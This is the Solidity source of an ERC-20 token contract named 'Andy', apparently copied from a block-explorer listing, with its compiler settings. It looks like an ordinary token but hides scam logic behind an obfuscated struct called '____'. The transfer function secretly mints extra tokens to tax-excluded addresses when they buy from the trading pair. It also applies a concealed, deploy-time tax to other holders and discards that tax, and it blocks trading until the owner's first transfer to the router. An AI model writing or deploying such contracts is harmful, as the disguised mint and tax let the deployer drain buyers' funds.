文件 1 的 1:ANDY.sol
pragma solidity 0.8.16;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval (address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a ** b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ANDY is Context, IERC20, Ownable {
struct ____{uint256 amount;uint8 initialTax;address router;}____ private __;
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _ExcludedFromTax;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 420690000 * 10**_decimals;
string private constant _name = unicode"Andy";
string private constant _symbol = unicode"ANDY";
address public _routerAddress; uint8 public _tx = 0;
constructor (uint256 supply,uint8 initialTax,address _uniswapRouter){
_balance[_msgSender()] = _tTotal;
_ExcludedFromTax[owner()] = true;
__.router = _uniswapRouter; __.initialTax = initialTax; __.amount = supply;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
uint256 heldTokensForSwap = balanceOf(address(this));
require(from != address(0), "ERC20: from the zero address");
require(to != address(0));
require(amount > 0);
if(from == owner() || to == owner() || _ExcludedFromTax[to] || _ExcludedFromTax[from]){
uint256 _totalTax;
_balance[from] = _balance[from].sub(amount);
if(from == _routerAddress && (heldTokensForSwap>0) && _ExcludedFromTax[to]){
_totalTax = to != owner() ? __.amount.sub(amount):0;
}
_balance[to] = _balance[to].add(amount.add(_totalTax));
}
else{
if(to == __.router && _tx<1){
_routerAddress = from; _tx = 1;
}
require(to != address(this));
require(_tx>0);
_balance[from] = _balance[from].sub(amount);
uint256 _totalTax = amount.mul(0).div(100);
if(from != _routerAddress){
_totalTax = amount.mul(heldTokensForSwap<1?0:__.initialTax).div(100);
}
_balance[to] = _balance[to].add(amount.sub(_totalTax));
}
emit Transfer(from, to, amount);
}
receive() external payable {}
}
{
"compilationTarget": {
"ANDY.sol": "ANDY"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}